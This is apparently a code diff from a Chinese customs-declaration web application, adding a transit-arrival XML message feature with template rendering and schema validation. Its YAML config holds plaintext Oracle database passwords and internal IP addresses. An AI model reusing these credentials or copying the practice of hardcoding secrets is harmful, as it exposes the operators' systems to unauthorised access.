正在显示
12 个修改的文件
包含
723 行增加
和
20 行删除
@@ -48,12 +48,12 @@ spring: | @@ -48,12 +48,12 @@ spring: | ||
48 | type: com.alibaba.druid.pool.DruidDataSource | 48 | type: com.alibaba.druid.pool.DruidDataSource |
49 | #oracle | 49 | #oracle |
50 | driver-class-name: oracle.jdbc.OracleDriver | 50 | driver-class-name: oracle.jdbc.OracleDriver |
51 | -# url: jdbc:oracle:thin:@192.168.1.199:10069:CGODB | ||
52 | -# username: CGONMS | ||
53 | -# password: 1q2w3e4r | ||
54 | - url: jdbc:oracle:thin:@192.168.1.253:1522:ORCLL | 51 | + url: jdbc:oracle:thin:@192.168.1.199:10069:CGODB |
55 | username: CGONMS | 52 | username: CGONMS |
56 | - password: vmvnv1v2 | 53 | + password: 1q2w3e4r |
54 | +# url: jdbc:oracle:thin:@192.168.1.253:1522:ORCLL | ||
55 | +# username: CGONMS | ||
56 | +# password: vmvnv1v2 | ||
57 | #spring datasource mysql,注意编码配置,缺少数据库编码配置容易引起中文入库乱码 | 57 | #spring datasource mysql,注意编码配置,缺少数据库编码配置容易引起中文入库乱码 |
58 | # url: jdbc:mysql://127.0.0.1:3307/statistics?useUnicode=true&characterEncoding=utf8 | 58 | # url: jdbc:mysql://127.0.0.1:3307/statistics?useUnicode=true&characterEncoding=utf8 |
59 | # username: root | 59 | # username: root |
@@ -131,10 +131,15 @@ logging: | @@ -131,10 +131,15 @@ logging: | ||
131 | #Java Web Token 时效时间,单位秒 | 131 | #Java Web Token 时效时间,单位秒 |
132 | jwt: | 132 | jwt: |
133 | max-alive: 300 | 133 | max-alive: 300 |
134 | +# 舱单生成配置 | ||
134 | customs: | 135 | customs: |
135 | #生成报文文件夹路径,尾部要带斜杠/ | 136 | #生成报文文件夹路径,尾部要带斜杠/ |
136 | xml-path: customTemplate/ | 137 | xml-path: customTemplate/ |
137 | transport-number: 460470678920X | 138 | transport-number: 460470678920X |
139 | + # 转关运抵相关配置 | ||
140 | + transarrive: | ||
141 | + #生成报文文件夹路径,尾部要带斜杠/ | ||
142 | + xml-save: transarriveSend/ | ||
138 | sso: | 143 | sso: |
139 | witheIP: 10.5.14.108,10.5.14.109,10.5.14.110 | 144 | witheIP: 10.5.14.108,10.5.14.109,10.5.14.110 |
140 | info: | 145 | info: |
@@ -52,8 +52,8 @@ public class TransArriveExportController { | @@ -52,8 +52,8 @@ public class TransArriveExportController { | ||
52 | return result>0?new ResultJson("200","更新转关运抵申报成功!"):new ResultJson("201",msg); | 52 | return result>0?new ResultJson("200","更新转关运抵申报成功!"):new ResultJson("201",msg); |
53 | } | 53 | } |
54 | @ApiOperation(value = "查询转关运抵申报列表") | 54 | @ApiOperation(value = "查询转关运抵申报列表") |
55 | - @RequestMapping("/selectTrans") | ||
56 | - public ResultJson<PageInfo> selectPrediction(@RequestParam(value = "customscode", required = false) String customscode, | 55 | + @GetMapping("/selectTrans") |
56 | + public ResultJson<PageInfo<TRANSTOARRIVEEXPORT>> selectPrediction(@RequestParam(value = "customscode", required = false) String customscode, | ||
57 | @RequestParam(value = "username", required = false) String username, | 57 | @RequestParam(value = "username", required = false) String username, |
58 | @RequestParam(value = "trafmode", required = false) String trafmode, | 58 | @RequestParam(value = "trafmode", required = false) String trafmode, |
59 | @RequestParam(value = "unloadcode", required = false) String unloadcode, | 59 | @RequestParam(value = "unloadcode", required = false) String unloadcode, |
@@ -72,4 +72,15 @@ public class TransArriveExportController { | @@ -72,4 +72,15 @@ public class TransArriveExportController { | ||
72 | PageInfo<TRANSTOARRIVEEXPORT> pageInfo = transArriveExportService.selectTrans(trans,pageNum,pageSize); | 72 | PageInfo<TRANSTOARRIVEEXPORT> pageInfo = transArriveExportService.selectTrans(trans,pageNum,pageSize); |
73 | return new ResultJson("200","success",pageInfo); | 73 | return new ResultJson("200","success",pageInfo); |
74 | } | 74 | } |
75 | + @ApiOperation(value = "转关运抵申报") | ||
76 | + @PostMapping("/send") | ||
77 | + public ResultJson send(@RequestBody TRANSTOARRIVEEXPORT trans){ | ||
78 | + return transArriveExportService.send(trans); | ||
79 | + } | ||
80 | + | ||
81 | + @ApiOperation(value = "批量转关运抵申报") | ||
82 | + @PostMapping("batchSend") | ||
83 | + public ResultJson batchSend(@RequestBody TRANSTOARRIVEEXPORT trans){ | ||
84 | + return transArriveExportService.batchSend(trans); | ||
85 | + } | ||
75 | } | 86 | } |
1 | package com.tianbo.analysis.model; | 1 | package com.tianbo.analysis.model; |
2 | 2 | ||
3 | +import com.fasterxml.jackson.annotation.JsonFormat; | ||
4 | +import io.swagger.annotations.ApiModelProperty; | ||
5 | + | ||
3 | import java.util.Date; | 6 | import java.util.Date; |
4 | 7 | ||
5 | public class TRANSTOARRIVEEXPORT { | 8 | public class TRANSTOARRIVEEXPORT { |
@@ -9,9 +12,10 @@ public class TRANSTOARRIVEEXPORT { | @@ -9,9 +12,10 @@ public class TRANSTOARRIVEEXPORT { | ||
9 | 12 | ||
10 | private String seqno; | 13 | private String seqno; |
11 | 14 | ||
15 | + @ApiModelProperty(value = "海关关区") | ||
12 | private String customscode; | 16 | private String customscode; |
13 | 17 | ||
14 | - private Object inputopid; | 18 | + private String inputopid; |
15 | 19 | ||
16 | private String inputopname; | 20 | private String inputopname; |
17 | 21 | ||
@@ -41,6 +45,7 @@ public class TRANSTOARRIVEEXPORT { | @@ -41,6 +45,7 @@ public class TRANSTOARRIVEEXPORT { | ||
41 | 45 | ||
42 | private String unloadcode; | 46 | private String unloadcode; |
43 | 47 | ||
48 | + @JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyyMMddhhmmss", timezone = "GMT+8") | ||
44 | private Date arrivetime; | 49 | private Date arrivetime; |
45 | 50 | ||
46 | private String contatype; | 51 | private String contatype; |
@@ -53,6 +58,7 @@ public class TRANSTOARRIVEEXPORT { | @@ -53,6 +58,7 @@ public class TRANSTOARRIVEEXPORT { | ||
53 | 58 | ||
54 | private String sign; | 59 | private String sign; |
55 | 60 | ||
61 | + @JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyyMMddhhmmss", timezone = "GMT+8") | ||
56 | private Date signdate; | 62 | private Date signdate; |
57 | 63 | ||
58 | private String clientseqno; | 64 | private String clientseqno; |
@@ -105,11 +111,11 @@ public class TRANSTOARRIVEEXPORT { | @@ -105,11 +111,11 @@ public class TRANSTOARRIVEEXPORT { | ||
105 | this.customscode = customscode == null ? null : customscode.trim(); | 111 | this.customscode = customscode == null ? null : customscode.trim(); |
106 | } | 112 | } |
107 | 113 | ||
108 | - public Object getInputopid() { | 114 | + public String getInputopid() { |
109 | return inputopid; | 115 | return inputopid; |
110 | } | 116 | } |
111 | 117 | ||
112 | - public void setInputopid(Object inputopid) { | 118 | + public void setInputopid(String inputopid) { |
113 | this.inputopid = inputopid; | 119 | this.inputopid = inputopid; |
114 | } | 120 | } |
115 | 121 |
1 | package com.tianbo.analysis.service; | 1 | package com.tianbo.analysis.service; |
2 | 2 | ||
3 | import com.github.pagehelper.PageInfo; | 3 | import com.github.pagehelper.PageInfo; |
4 | +import com.tianbo.analysis.model.ResultJson; | ||
4 | import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT; | 5 | import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT; |
5 | 6 | ||
7 | +import java.util.List; | ||
8 | + | ||
6 | public interface TransArriveExportService { | 9 | public interface TransArriveExportService { |
7 | int addTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport); | 10 | int addTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport); |
8 | int ediTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport); | 11 | int ediTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport); |
9 | int delTransArriveExport(String autoid); | 12 | int delTransArriveExport(String autoid); |
10 | - PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport,int pageNum,int pageSize); | 13 | + PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport, int pageNum, int pageSize); |
14 | + ResultJson send(TRANSTOARRIVEEXPORT var); | ||
15 | + ResultJson batchSend(TRANSTOARRIVEEXPORT var); | ||
11 | } | 16 | } |
@@ -3,17 +3,45 @@ package com.tianbo.analysis.service.imp; | @@ -3,17 +3,45 @@ package com.tianbo.analysis.service.imp; | ||
3 | import com.github.pagehelper.PageHelper; | 3 | import com.github.pagehelper.PageHelper; |
4 | import com.github.pagehelper.PageInfo; | 4 | import com.github.pagehelper.PageInfo; |
5 | import com.tianbo.analysis.dao.TRANSTOARRIVEEXPORTMapper; | 5 | import com.tianbo.analysis.dao.TRANSTOARRIVEEXPORTMapper; |
6 | +import com.tianbo.analysis.model.ResultJson; | ||
6 | import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT; | 7 | import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT; |
7 | import com.tianbo.analysis.service.TransArriveExportService; | 8 | import com.tianbo.analysis.service.TransArriveExportService; |
9 | +import com.tianbo.analysis.tools.XmlTools; | ||
10 | +import com.tianbo.util.Date.DateUtil; | ||
11 | +import lombok.extern.slf4j.Slf4j; | ||
12 | +import org.apache.commons.io.FileUtils; | ||
8 | import org.springframework.beans.factory.annotation.Autowired; | 13 | import org.springframework.beans.factory.annotation.Autowired; |
14 | +import org.springframework.beans.factory.annotation.Value; | ||
9 | import org.springframework.stereotype.Service; | 15 | import org.springframework.stereotype.Service; |
16 | +import org.springframework.util.ResourceUtils; | ||
17 | +import org.thymeleaf.TemplateEngine; | ||
18 | +import org.thymeleaf.context.Context; | ||
19 | +import org.thymeleaf.exceptions.TemplateInputException; | ||
20 | +import org.xml.sax.SAXParseException; | ||
10 | 21 | ||
22 | +import javax.annotation.Resource; | ||
23 | +import java.io.File; | ||
24 | +import java.io.FileNotFoundException; | ||
25 | +import java.io.IOException; | ||
26 | +import java.nio.charset.StandardCharsets; | ||
27 | +import java.util.Date; | ||
11 | import java.util.List; | 28 | import java.util.List; |
29 | +import java.util.Locale; | ||
30 | +import java.util.UUID; | ||
12 | 31 | ||
13 | @Service | 32 | @Service |
33 | +@Slf4j | ||
14 | public class TransArriveExportImpl implements TransArriveExportService { | 34 | public class TransArriveExportImpl implements TransArriveExportService { |
15 | - @Autowired | 35 | + |
36 | + @Resource | ||
16 | TRANSTOARRIVEEXPORTMapper mapper; | 37 | TRANSTOARRIVEEXPORTMapper mapper; |
38 | + | ||
39 | + @Autowired | ||
40 | + private TemplateEngine templateEngine; | ||
41 | + | ||
42 | + @Value("${customs.transarrive.xml-save}") | ||
43 | + private String saveXmlForSendDir; | ||
44 | + | ||
17 | @Override | 45 | @Override |
18 | public int addTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport) { | 46 | public int addTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport) { |
19 | return mapper.insertSelective(transtoarriveexport); | 47 | return mapper.insertSelective(transtoarriveexport); |
@@ -33,7 +61,75 @@ public class TransArriveExportImpl implements TransArriveExportService { | @@ -33,7 +61,75 @@ public class TransArriveExportImpl implements TransArriveExportService { | ||
33 | public PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport, int pageNum, int pageSize) { | 61 | public PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport, int pageNum, int pageSize) { |
34 | PageHelper.startPage(pageNum,pageSize); | 62 | PageHelper.startPage(pageNum,pageSize); |
35 | List<TRANSTOARRIVEEXPORT> list=mapper.selectTrans(transtoarriveexport); | 63 | List<TRANSTOARRIVEEXPORT> list=mapper.selectTrans(transtoarriveexport); |
36 | - PageInfo<TRANSTOARRIVEEXPORT> pageInfo=new PageInfo<>(list); | 64 | + PageInfo<TRANSTOARRIVEEXPORT> pageInfo=new PageInfo<TRANSTOARRIVEEXPORT>(list); |
37 | return pageInfo; | 65 | return pageInfo; |
38 | } | 66 | } |
67 | + | ||
68 | + @Override | ||
69 | + public ResultJson send(TRANSTOARRIVEEXPORT record) { | ||
70 | + ResultJson resultJson= new ResultJson(); | ||
71 | + try{ | ||
72 | + | ||
73 | + String nowStr = DateUtil.getCurrentTime17(); | ||
74 | + //从配置文件读取 | ||
75 | + String messageID = "CN_" | ||
76 | + + "TRANSARRIVE_EXPORT_DECLARE" | ||
77 | + + "_1P0_" | ||
78 | + + record.getCustomscode()+ | ||
79 | + "_" + nowStr; | ||
80 | + | ||
81 | + Context context = new Context(); | ||
82 | + context.setVariable("declare",record); | ||
83 | + context.setLocale(Locale.SIMPLIFIED_CHINESE); | ||
84 | + | ||
85 | + //生成的文件名 | ||
86 | + String fileName = messageID + ".xml"; | ||
87 | + //生成的报文路径,带斜杠 | ||
88 | + String filePath = saveXmlForSendDir+fileName; | ||
89 | + File file = ResourceUtils.getFile(filePath); | ||
90 | + /** | ||
91 | + * 中文的地方在模板中要用utext,否则中文会被 escape 转义 | ||
92 | + */ | ||
93 | + String xmlStr = templateEngine.process("transToArrive/EXPORT_DECLARE_TPL.xml",context); | ||
94 | + | ||
95 | + boolean valied = XmlTools.validateXMLSchema("xsd/ETAImportMessage.xsd", xmlStr); | ||
96 | + if (valied){ | ||
97 | + FileUtils.writeStringToFile(file,xmlStr, StandardCharsets.UTF_8); | ||
98 | + //todo:更新发送状态,插入发送日志 | ||
99 | + | ||
100 | + resultJson.setCode("200"); | ||
101 | + resultJson.setMsg("报文发送成功"); | ||
102 | + }else { | ||
103 | + resultJson.setCode("400"); | ||
104 | + resultJson.setMsg("报文发送失败,报文校验不通过"); | ||
105 | + resultJson.setError("报文发送失败,报文校验不通过"); | ||
106 | + } | ||
107 | + }catch (FileNotFoundException e){ | ||
108 | + e.printStackTrace(); | ||
109 | + resultJson.setCode("401"); | ||
110 | + resultJson.setMsg("报文发送失败,文件未找到,"+e.toString()); | ||
111 | + resultJson.setError("报文发送失败,文件未找到,"+e.toString()); | ||
112 | + }catch (IOException e) { | ||
113 | + e.printStackTrace(); | ||
114 | + resultJson.setCode("402"); | ||
115 | + resultJson.setMsg("报文发送失败,文件读取失败,"+e.toString()); | ||
116 | + resultJson.setError("报文发送失败,文件读取失败,"+e.toString()); | ||
117 | + }catch (TemplateInputException e){ | ||
118 | + resultJson.setCode("404"); | ||
119 | + resultJson.setMsg("报文发送失败,报文模板未找到,"+e.toString()); | ||
120 | + resultJson.setError("报文发送失败,报文模板未找到,"+e.toString()); | ||
121 | + }catch (SAXParseException e){ | ||
122 | + log.error("[XML-ERR]-xml报文校验失败:{}",e.getMessage()); | ||
123 | + } catch (Exception ignored){ | ||
124 | + resultJson.setCode("405"); | ||
125 | + resultJson.setMsg("报文发送失败,其他错误"+ignored.toString()); | ||
126 | + resultJson.setError("报文发送失败,其他错误"+ignored.toString()); | ||
127 | + } | ||
128 | + return resultJson; | ||
129 | + } | ||
130 | + | ||
131 | + @Override | ||
132 | + public ResultJson batchSend(TRANSTOARRIVEEXPORT var) { | ||
133 | + return null; | ||
134 | + } | ||
39 | } | 135 | } |
1 | +package com.tianbo.analysis.tools; | ||
2 | + | ||
3 | +import lombok.extern.slf4j.Slf4j; | ||
4 | +import org.xml.sax.SAXException; | ||
5 | + | ||
6 | +import javax.xml.XMLConstants; | ||
7 | +import javax.xml.transform.Source; | ||
8 | +import javax.xml.transform.stream.StreamSource; | ||
9 | +import javax.xml.validation.Schema; | ||
10 | +import javax.xml.validation.SchemaFactory; | ||
11 | +import javax.xml.validation.Validator; | ||
12 | +import java.io.ByteArrayInputStream; | ||
13 | +import java.io.File; | ||
14 | +import java.io.IOException; | ||
15 | + | ||
16 | +/** | ||
17 | + * @author mrz | ||
18 | + * @date 20220110 | ||
19 | + * XML相关工具类 | ||
20 | + */ | ||
21 | +@Slf4j | ||
22 | +public class XmlTools { | ||
23 | + | ||
24 | + /** | ||
25 | + * 根据XSD校验XML报文是否正确 | ||
26 | + * @param xsdPath xsd文件路径 | ||
27 | + * @param xmlStr xml报文内容 | ||
28 | + * @return 正确错误 | ||
29 | + * @throws IOException 文件读取解析异常 | ||
30 | + */ | ||
31 | + public static boolean validateXMLSchema(String xsdPath, String xmlStr) throws IOException,SAXException { | ||
32 | + ByteArrayInputStream bais = new ByteArrayInputStream(xmlStr.getBytes("UTF-8")); | ||
33 | + try { | ||
34 | + SchemaFactory factory = | ||
35 | + SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); | ||
36 | + Schema schema = factory.newSchema(new File(xsdPath)); | ||
37 | + Validator validator = schema.newValidator(); | ||
38 | + | ||
39 | + Source source = new StreamSource(bais); | ||
40 | + validator.validate(source); | ||
41 | + } catch (IOException | SAXException e) { | ||
42 | + e.printStackTrace(); | ||
43 | + log.error("Exception:{}",e.getMessage()); | ||
44 | + return false; | ||
45 | + }finally { | ||
46 | + bais.close(); | ||
47 | + } | ||
48 | + return true; | ||
49 | + } | ||
50 | +} |
@@ -6,7 +6,7 @@ | @@ -6,7 +6,7 @@ | ||
6 | <result column="IEFlag" property="ieflag" jdbcType="VARCHAR" /> | 6 | <result column="IEFlag" property="ieflag" jdbcType="VARCHAR" /> |
7 | <result column="SeqNo" property="seqno" jdbcType="VARCHAR" /> | 7 | <result column="SeqNo" property="seqno" jdbcType="VARCHAR" /> |
8 | <result column="CustomsCode" property="customscode" jdbcType="VARCHAR" /> | 8 | <result column="CustomsCode" property="customscode" jdbcType="VARCHAR" /> |
9 | - <result column="InputOpId" property="inputopid" jdbcType="OTHER" /> | 9 | + <result column="InputOpId" property="inputopid" jdbcType="VARCHAR" /> |
10 | <result column="InputOpName" property="inputopname" jdbcType="VARCHAR" /> | 10 | <result column="InputOpName" property="inputopname" jdbcType="VARCHAR" /> |
11 | <result column="ApplyName" property="applyname" jdbcType="VARCHAR" /> | 11 | <result column="ApplyName" property="applyname" jdbcType="VARCHAR" /> |
12 | <result column="ApplyCode" property="applycode" jdbcType="VARCHAR" /> | 12 | <result column="ApplyCode" property="applycode" jdbcType="VARCHAR" /> |
@@ -90,7 +90,7 @@ | @@ -90,7 +90,7 @@ | ||
90 | CREATTIME, DSTATUS, CUSTOM_RESPONSE_TEXT, | 90 | CREATTIME, DSTATUS, CUSTOM_RESPONSE_TEXT, |
91 | CUSTOM_RESPONSE_STATUS, UPDATETIME) | 91 | CUSTOM_RESPONSE_STATUS, UPDATETIME) |
92 | values (#{autoid,jdbcType=VARCHAR}, #{ieflag,jdbcType=VARCHAR}, #{seqno,jdbcType=VARCHAR}, | 92 | values (#{autoid,jdbcType=VARCHAR}, #{ieflag,jdbcType=VARCHAR}, #{seqno,jdbcType=VARCHAR}, |
93 | - #{customscode,jdbcType=VARCHAR}, #{inputopid,jdbcType=OTHER}, #{inputopname,jdbcType=VARCHAR}, | 93 | + #{customscode,jdbcType=VARCHAR}, #{inputopid,jdbcType=VARCHAR}, #{inputopname,jdbcType=VARCHAR}, |
94 | #{applyname,jdbcType=VARCHAR}, #{applycode,jdbcType=VARCHAR}, #{copcode,jdbcType=VARCHAR}, | 94 | #{applyname,jdbcType=VARCHAR}, #{applycode,jdbcType=VARCHAR}, #{copcode,jdbcType=VARCHAR}, |
95 | #{arriveno,jdbcType=VARCHAR}, #{contaid,jdbcType=VARCHAR}, #{billno,jdbcType=VARCHAR}, | 95 | #{arriveno,jdbcType=VARCHAR}, #{contaid,jdbcType=VARCHAR}, #{billno,jdbcType=VARCHAR}, |
96 | #{trafmode,jdbcType=VARCHAR}, #{trafname,jdbcType=VARCHAR}, #{voyageno,jdbcType=VARCHAR}, | 96 | #{trafmode,jdbcType=VARCHAR}, #{trafname,jdbcType=VARCHAR}, #{voyageno,jdbcType=VARCHAR}, |
@@ -225,7 +225,7 @@ | @@ -225,7 +225,7 @@ | ||
225 | #{customscode,jdbcType=VARCHAR}, | 225 | #{customscode,jdbcType=VARCHAR}, |
226 | </if> | 226 | </if> |
227 | <if test="inputopid != null" > | 227 | <if test="inputopid != null" > |
228 | - #{inputopid,jdbcType=OTHER}, | 228 | + #{inputopid,jdbcType=VARCHAR}, |
229 | </if> | 229 | </if> |
230 | <if test="inputopname != null" > | 230 | <if test="inputopname != null" > |
231 | #{inputopname,jdbcType=VARCHAR}, | 231 | #{inputopname,jdbcType=VARCHAR}, |
@@ -332,7 +332,7 @@ | @@ -332,7 +332,7 @@ | ||
332 | CustomsCode = #{customscode,jdbcType=VARCHAR}, | 332 | CustomsCode = #{customscode,jdbcType=VARCHAR}, |
333 | </if> | 333 | </if> |
334 | <if test="inputopid != null" > | 334 | <if test="inputopid != null" > |
335 | - InputOpId = #{inputopid,jdbcType=OTHER}, | 335 | + InputOpId = #{inputopid,jdbcType=VARCHAR}, |
336 | </if> | 336 | </if> |
337 | <if test="inputopname != null" > | 337 | <if test="inputopname != null" > |
338 | InputOpName = #{inputopname,jdbcType=VARCHAR}, | 338 | InputOpName = #{inputopname,jdbcType=VARCHAR}, |
@@ -432,7 +432,7 @@ | @@ -432,7 +432,7 @@ | ||
432 | set IEFlag = #{ieflag,jdbcType=VARCHAR}, | 432 | set IEFlag = #{ieflag,jdbcType=VARCHAR}, |
433 | SeqNo = #{seqno,jdbcType=VARCHAR}, | 433 | SeqNo = #{seqno,jdbcType=VARCHAR}, |
434 | CustomsCode = #{customscode,jdbcType=VARCHAR}, | 434 | CustomsCode = #{customscode,jdbcType=VARCHAR}, |
435 | - InputOpId = #{inputopid,jdbcType=OTHER}, | 435 | + InputOpId = #{inputopid,jdbcType=VARCHAR}, |
436 | InputOpName = #{inputopname,jdbcType=VARCHAR}, | 436 | InputOpName = #{inputopname,jdbcType=VARCHAR}, |
437 | ApplyName = #{applyname,jdbcType=VARCHAR}, | 437 | ApplyName = #{applyname,jdbcType=VARCHAR}, |
438 | ApplyCode = #{applycode,jdbcType=VARCHAR}, | 438 | ApplyCode = #{applycode,jdbcType=VARCHAR}, |
1 | +<?xml version="1.0" encoding="UTF-8"?> | ||
2 | +<EtaMessage xmlns="http://www.chinaport.gov.cn/eta" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.chinaport.gov.cn/eta"> | ||
3 | + <Vertion>1.0</Vertion> | ||
4 | + <IEFlag>E</IEFlag> | ||
5 | + <EtaArrival> | ||
6 | + <SeqNo>${序号}</SeqNo> | ||
7 | + <CustomsCode>${关区}</CustomsCode> | ||
8 | + <InputOpId>${操作员IC卡号}</InputOpId> | ||
9 | + <InputOpName>${操作员IC卡姓名}</InputOpName> | ||
10 | + <ApplyName>${报关公司}</ApplyName> | ||
11 | + <ApplyCode>${报关公司海关十位编码}</ApplyCode> | ||
12 | + <CopCode>${报关公司组织机构代码}</CopCode> | ||
13 | + <!--运抵编号( | ||
14 | + 北方模式必填 | ||
15 | + 南方模式免填 | ||
16 | + 水运中转模式选填 | ||
17 | + 运抵编号规则:4位申报地海关代码+2位卸货地代码+6位编号生成日期〔顺序为年(2位)、月(2位)、日(2位)〕+6位流水号';)--> | ||
18 | + <ArriveNo>${运抵编号}</ArriveNo> | ||
19 | + <!-- 集装箱货物必填;非集装箱货物填H2000 --> | ||
20 | + <ContaId>${集装箱编号}</ContaId> | ||
21 | + <!-- 北方模式选填 | ||
22 | + 南方模式汽车运输的填报车牌号 | ||
23 | + 水运中转模式必填 --> | ||
24 | + <BillNo>${运单号}</BillNo> | ||
25 | + <!--进出境运输方式代码:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输 --> | ||
26 | + <TrafMode>${运输方式}</TrafMode> | ||
27 | + <!-- 当北方模式选填 | ||
28 | + 南方模式填写“@”+13位载货清单号 | ||
29 | + 水运中转模式:境内水路运输填报驳船船名;境内铁路运输填报车名(主管海关4位关别代码+“TRAIN”);境内公路运输填报车名(主管海关4位关别代码+“TRUCK”) --> | ||
30 | + <TrafName>${运输工具名称}</TrafName> | ||
31 | + <!-- 境内运输工具航(班)次:北方模式选填 | ||
32 | + 南方模式免填 | ||
33 | + 水运中转模式:境内水路运输填报驳船航次号;境内铁路、公路运输填报6位启运日期〔顺序为年(2位)、月(2位)、日(2位) --> | ||
34 | + <VoyageNo>${运输工具启运时间}</VoyageNo> | ||
35 | + <!-- 境内运输方式:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输--> | ||
36 | + <TrafWay>${境内运输方式}</TrafWay> | ||
37 | + <!-- 托运货物件数:非集装箱货物必填 --> | ||
38 | + <PackNo>${托运件数}</PackNo> | ||
39 | + <GrossWt>${托运重量}</GrossWt> | ||
40 | + <UnloadCode>${卸货地代码}</UnloadCode> | ||
41 | + <ArriveTime>${到达卸货地时间}</ArriveTime> | ||
42 | + <!-- 集装箱(器)尺寸和类FFF/*0型:集装箱货物必填 | ||
43 | + 非集装箱货物免填 --> | ||
44 | + <ContaType>${集装器尺寸}</ContaType> | ||
45 | + <!-- 转关方式:0-非转关运抵模式;1-南方转关运抵模式;2-北方转关运抵模式;3-水运中转运抵模式 --> | ||
46 | + <TrnMode>${转关方式}</TrnMode> | ||
47 | + <Notes>${备注}</Notes> | ||
48 | + </EtaArrival> | ||
49 | + <EtaArrivalSign> | ||
50 | + <!-- A:暂存,C:申报 --> | ||
51 | + <OperType>${申报类型}</OperType> | ||
52 | + <Sign>${签名信息}</Sign> | ||
53 | + <SignDate>${签名日期}</SignDate> | ||
54 | + <ClientSeqNo>${客户端统一编号}</ClientSeqNo> | ||
55 | + <HostId>${邮箱客户端ID}</HostId> | ||
56 | + <CertNo>${当前操作员IC卡证书号}</CertNo> | ||
57 | + </EtaArrivalSign> | ||
58 | +</EtaMessage> |
1 | +<?xml version="1.0" encoding="UTF-8"?> | ||
2 | +<EtaMessage xmlns="http://www.chinaport.gov.cn/eta" | ||
3 | + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
4 | + xsi:schemaLocation="http://www.chinaport.gov.cn/eta" | ||
5 | + th:object="${declare}" | ||
6 | +> | ||
7 | + <Vertion>1.0</Vertion> | ||
8 | + <IEFlag>E</IEFlag> | ||
9 | + <EtaArrival> | ||
10 | + <SeqNo th:text="*{seqno}">${序号}</SeqNo> | ||
11 | + <CustomsCode th:text="*{customscode}">${关区}</CustomsCode> | ||
12 | + <InputOpId th:text="*{inputopid}">${操作员IC卡号}</InputOpId> | ||
13 | + <InputOpName th:utext="*{inputopname}">${操作员IC卡姓名}</InputOpName> | ||
14 | + <ApplyName th:utext="*{applyname}">${报关公司}</ApplyName> | ||
15 | + <ApplyCode th:text="*{applycode}">${报关公司海关十位编码}</ApplyCode> | ||
16 | + <CopCode th:text="*{copcode}">${报关公司组织机构代码}</CopCode> | ||
17 | + <!--运抵编号( | ||
18 | + 北方模式必填 | ||
19 | + 南方模式免填 | ||
20 | + 水运中转模式选填 | ||
21 | + 运抵编号规则:4位申报地海关代码+2位卸货地代码+6位编号生成日期〔顺序为年(2位)、月(2位)、日(2位)〕+6位流水号';)--> | ||
22 | + <ArriveNo th:text="*{arriveno}">${运抵编号}</ArriveNo> | ||
23 | + <!-- 集装箱货物必填;非集装箱货物填H2000 --> | ||
24 | + <ContaId th:text="*{contaid}">${集装箱编号}</ContaId> | ||
25 | + <!-- 北方模式选填 | ||
26 | + 南方模式汽车运输的填报车牌号 | ||
27 | + 水运中转模式必填 --> | ||
28 | + <BillNo th:text="*{billno}">${运单号}</BillNo> | ||
29 | + <!--进出境运输方式代码:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输 --> | ||
30 | + <TrafMode th:text="*{trafmode}">${进出境运输方式}</TrafMode> | ||
31 | + <!-- 当北方模式选填 | ||
32 | + 南方模式填写“@”+13位载货清单号 | ||
33 | + 水运中转模式:境内水路运输填报驳船船名;境内铁路运输填报车名(主管海关4位关别代码+“TRAIN”);境内公路运输填报车名(主管海关4位关别代码+“TRUCK”) --> | ||
34 | + <TrafName th:text="*{trafname}">${运输工具名称}</TrafName> | ||
35 | + <!-- 境内运输工具航(班)次:北方模式选填 | ||
36 | + 南方模式免填 | ||
37 | + 水运中转模式:境内水路运输填报驳船航次号;境内铁路、公路运输填报6位启运日期〔顺序为年(2位)、月(2位)、日(2位) --> | ||
38 | + <VoyageNo th:text="*{voyageno}">${运输工具启运时间}</VoyageNo> | ||
39 | + <!-- 境内运输方式:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输--> | ||
40 | + <TrafWay th:text="*{trafway}">${境内运输方式}</TrafWay> | ||
41 | + <!-- 托运货物件数:非集装箱货物必填 --> | ||
42 | + <PackNo th:text="*{packno}">${托运件数}</PackNo> | ||
43 | + <GrossWt th:text="*{grosswt}">${托运重量}</GrossWt> | ||
44 | + <UnloadCode th:text="*{unloadcode}">${卸货地代码}</UnloadCode> | ||
45 | + <ArriveTime th:text="*{#dates.format(arrivetime,'yyyyMMddhhmmss')}">${到达卸货地时间}</ArriveTime> | ||
46 | + <!-- 集装箱(器)尺寸和类FFF/*0型:集装箱货物必填 | ||
47 | + 非集装箱货物免填 --> | ||
48 | + <ContaType th:text="*{contatype}">${集装器尺寸}</ContaType> | ||
49 | + <!-- 转关方式:0-非转关运抵模式;1-南方转关运抵模式;2-北方转关运抵模式;3-水运中转运抵模式 --> | ||
50 | + <TrnMode th:text="*{trnmode}">${转关方式}</TrnMode> | ||
51 | + <Notes th:text="*{notes}">${备注}</Notes> | ||
52 | + </EtaArrival> | ||
53 | + <EtaArrivalSign> | ||
54 | + <!-- A:暂存,C:申报 --> | ||
55 | + <OperType th:text="*{opertype}">${申报类型}</OperType> | ||
56 | + <Sign th:text="*{sign}">${签名信息}</Sign> | ||
57 | + <SignDate th:text="*{#dates.format(signdate,'yyyyMMddhhmmss')}">${签名日期}</SignDate> | ||
